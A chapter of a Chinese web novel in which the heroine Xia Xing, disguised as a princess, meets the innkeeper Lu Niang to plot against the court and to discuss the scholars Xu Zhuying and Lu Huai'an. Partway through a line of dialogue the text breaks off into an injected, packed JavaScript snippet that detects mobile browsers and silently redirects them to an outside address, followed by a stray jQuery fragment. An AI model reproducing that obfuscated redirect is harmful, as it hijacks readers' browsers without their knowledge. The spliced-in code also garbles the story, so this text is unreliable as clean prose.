7. 芦娘

    芦娘给的那张小纸片子里详细写了密室的开法。


    江边的小城夜风都大,‘长公主’独自一人坐在梳妆台前,一下又一下地对着铜镜梳着头发。


    搁在胭脂旁的干芦苇还是秋日的颜色,绒白细腻的芦花散出被阳光晒过的味道。


    夏荇随手抽出来一只,学着芦娘的样子,换下原本的那些翠玉首饰,盘出一个干净简练的低盘发。


    随后,一点点揭下脸上的面皮。


    镜中的人素着一张恬静的脸起身,随即隐入床榻屏风之后的小门里。


    只剩桌上的芦花团簇,在吹入屋内的夜风中轻轻摇晃。


    一如当时还盛开在江边那样。


    粗瓷茶盏轻轻放在窗框所箍出的一长条江景前。


    芦娘细致地摆好几碟小菜和茶具,抬头望向正从密道中走出来的人。


    她看清来人的脸,先是稍稍一愣,转而莞尔一笑叫道:“荇姑娘。”


    隐形的门无声合上。


    “都是一起做事的,姐姐就别叫得这么生疏了。”


    夏荇被几乎是被她推到了那张小桌前,还没坐下就先被塞了几块刚出炉的小饼,哭笑不得道:“叫我小草就行了。”


    芦娘鬓边的散发沾了汗水,被她豪爽地一把全拢到耳后。


    “小草啊,草这个名字也取得很好。”她在口中细细咀嚼含义。


    夏荇面前的茶杯被她提壶倒满,芦娘搜刮一番肚中墨水,末了朴素地道:“就和白芦花一样。”


    不经意间就长个满片,一直生到天边看不见的地方,谁都拿她们没办法。


    芦娘拿出一本薄薄的册子,边在手中翻动边道,“实在没想到你能来的这么快,我还以为要再过阵子才行。”


    “意外遇到个帮手,实在推动了不少动作。”


    夏荇咬下一口分量实诚的肉饼,细细感受油脂与热量带来的快乐,整个人舒坦地靠在椅背上。


    芦娘瞧她喜欢,又把整碟的萝卜肉丸往夏荇跟前推。


    江边小舟上慢慢点起来零星的渔火,水鸟吃饱了小鱼,慢慢悠悠地飞到城里相熟的人家。


    最大的几只胆子格外得大,直接落在芦娘这边的窗棂上,低头去啄掰碎的小面点。


    “能用人也是你的本事,没什么好谦虚的,”芦娘给它们又丢上几块卖相不好的点心,“西南那地还是太险,谢家守关百年下来,照如今这圣上半点不管的样子,估计还是要破了。”


    册子之中抽出来的几张纸搁在小桌上,油墨甚至还未完全干透。


    夏荇拿起那份材料,缓缓道:“大恒越乱,我们的胜算就越大。”


    这个王朝早就糟糕透顶,西南边关在那些蛮族眼里就是块赤裸裸的肉,无论如何都想咬上一口。


    水鸟头头叼起一大块吃不下的糕点,单纯的黑豆眼中映出夏荇泛起涟漪的眸子。


    “皇帝还要享乐,必然不愿出钱解决西南的事情,谢家再一片忠心,也没法看着百姓每天都受罪。”


    夜风吹拂,坐在小楼里的女子细指轻动,拨动着桌上的几颗江石。


    “到那我们再出面,和谢家一起在西南自行募兵,就理所当然了。”


    有时候是时势摧毁人,还是造就人,不过一念之间的差距。


    芦娘自诩也算离经叛道,在旁人都说女子需得操持家事、照顾夫君的指点里,打拼出一座人来人往的酒楼。


    但此刻听到她和桃姨如此计划时,还是控制不住地手抖。


    一句皇帝大过天。


    女子之身、弱柳浮萍。


    真的能将天也捅破吗?


    坐在她对面的夏荇说完,倒是还老神在在地玩石头。


    似乎完全没意识到这是如何石破惊天又大逆不道的一句话。


    “好,好,”芦娘沉默半晌,方道,“能参与这种事情,也算这辈子不白活。”


    几只水鸟都被她一拍胸膛的动静吓到,抖抖翅膀飞入完全黑下来的夜幕。


    “你还有啥需要我帮忙的,尽管说。”芦娘拿出后头架子上搁着的宝贝家当。


    沉甸甸的一个实木盒一看就上了年头,四面都锁着从西洋来的不同小锁,每个都裹着厚厚一层桐油。


    芦娘的手刚拿出一串贴身携带的钥匙,就又被夏荇急忙起身塞了回去。


    “不用您这小本生意的出什么,万事都有桃姨兜底呢。”


    她触碰芦娘温热的手背,随之感受到对方的反握。


    那只不符常俗的手宽大,长着厨房与针线养出来的厚茧,强劲的脉搏压在手心上,又化成一场温柔。


    “我只是有些好奇那个叫许竹影的,”夏荇闻着对方身上安心的烟火味,“他来得太巧了,我一开始还以为是桃姨特意安排,却还没和我说。”


    毕竟对方远在江南,对于京城的动静全是夏荇在把控,不能及时知晓也算正常。


    直到后来有人报上来:他老是夜里偷偷去探府上的一众库室,才发现这人其实是别有用心。


    “他的话,应该算是误打误撞。”


    芦娘又抽出另一张明显更加空疏的纸。


    “桃姐对他并不熟悉,但与他的兄长可称知根知底。”


    许竹影的兄长在冤案之前也在江南做事。


    在夏家作为地方大员,首当其冲被包个十成十全家惨死的时候,官兵们冲入许老爷的府邸,却只在一贫如洗的房间里搜出几件必需品。


    和一套洗的发白的官服。


    “许竹影在他哥出事前只能一直在京城读书,照理说应该做不到掺和进来,”芦娘眯起眼睛回忆,“只是当时在太子的全力搜寻之下,有人说曾在渡口看到过许杨心和一团黑影,剩下的就一概不得而知了。”


    夏荇点点头,若有所思道:“那他这是,冲我要兄长来了?”


    “没准更为准确,以为是你杀了他兄长。”芦娘合上册子,玩笑道。


    不然为何目的如此准确,做个能瞬息之间取人性命的暗器。


    若杀成功,就是报仇雪恨已告在天之灵。


    若没成功,也能再寻下一步计划,左右都不吃亏。


    就是遇到了她。


    夏荇不按常理出牌。


    “他兄长现在身在何处,是死是活皆是未知,朝廷跟官兵在找,我们在找,他和他那个姓陆的兄弟也在找。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320062|167434||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    可这么一个大活人就是能不见了。


    也是稀奇。


    若要说江南那事,长公主本人确实是死在案发七日之后。


    和死去的长公主也有关系吗?


    夏荇在脑中梳理混乱的线索,抓住芦娘话中关键问道:“姓陆的兄弟?”


    许竹影在‘长公主’面前晃悠这么多天,都是孤身一人,诈他也诈不出和府上的谁是上下线。


    原来是将另一半的重心放去外面,做好了两手准备。


    “是淮扬陆氏的小公子,名字叫陆平,表字淮安,家中一门相承,都是狗皮膏药个性。”


    芦娘提起一直用炭火热着的茶壶,倒满俩人面前空空的瓷盏。


    “据说他俩本是在一个书院念的书,因许竹影曾经帮过他一把,对这兄弟死心塌地的。”


    茶香兀自飘出窗外。


    溜达一圈的水鸟们落回芦花酒楼的屋顶,挨个探出细长的脖子,好奇地打量下方。


    明明都被冻得哆嗦了,这俩人还都站在酒楼外面,明知道里面暖和却迟迟不进去。


    真奇怪。


    ……


    “我和你说,我好不容易搭上的线,好不容易!”


    陆淮安在月光下抖抖如今完全瘪下去的荷包,恨不得揪着许竹影耳朵大叫还钱。


    “芦娘这人简直我这辈子见过的最黑的!比你还黑!”


    看起来笑眯眯,实际能宰起人来眼睛都不眨一下!


    酒楼的伙计终于得到芦娘的传话,从堂口来叫他们进去。


    陆淮安踏上通往顶楼的楼梯,边爬,边回想起来他上午莫名其妙被芦娘引成要出价买消息的过程。


    莫名就觉得心口有块地方凉凉的。


    “所以,哪怕你手里那证据真的已经可以一锤定音!是长公主杀了你兄长,我知道你那证据真的很真很可信……”


    陆淮安戳戳他若有所思的许兄,放低嗓门一字一顿道:“你,也,给,我,别,说,出,来。”


    消息消息,在尔虞我诈里就是最宝贵的东西。


    陆淮安交代完,得意地一甩袖子,推门走进芦娘专门招待外客的小室。


    估计是今天推演过好几次,觉得这回肯定能找回场子。


    许竹影提着他准备的几件‘心意’,扯了扯嘴角后妥协地跟上去。


    第一时间跑过来的就是江水味的风与芦苇的草木香。


    坐在里面的,除了芦娘,居然还有其他的人。


    穿着素裙的姑娘听到他们的动静转过身,皓腕处堆满陆淮安上午刚送出的一众手串。


    她面庞未施粉黛,只因坐得久了冻出点磨砂般的粉色,余下肌肤白皙似玉。


    别在耳边的芦花散出细小的绒毛,静如春潭的眸子掠过浮光,正在不卑不亢去地直视来客。


    "哎,你发啥呆呢。"陆淮安打完招呼,回头瞪了一眼他领来的木鸡。


    “抱歉。”许竹影回过神。


    不是错觉,是真得熟悉。


    可这明明是第一次见面。


    “我只是觉得,”许竹影斟酌说辞,迟疑道,“我好像在哪里见过她。”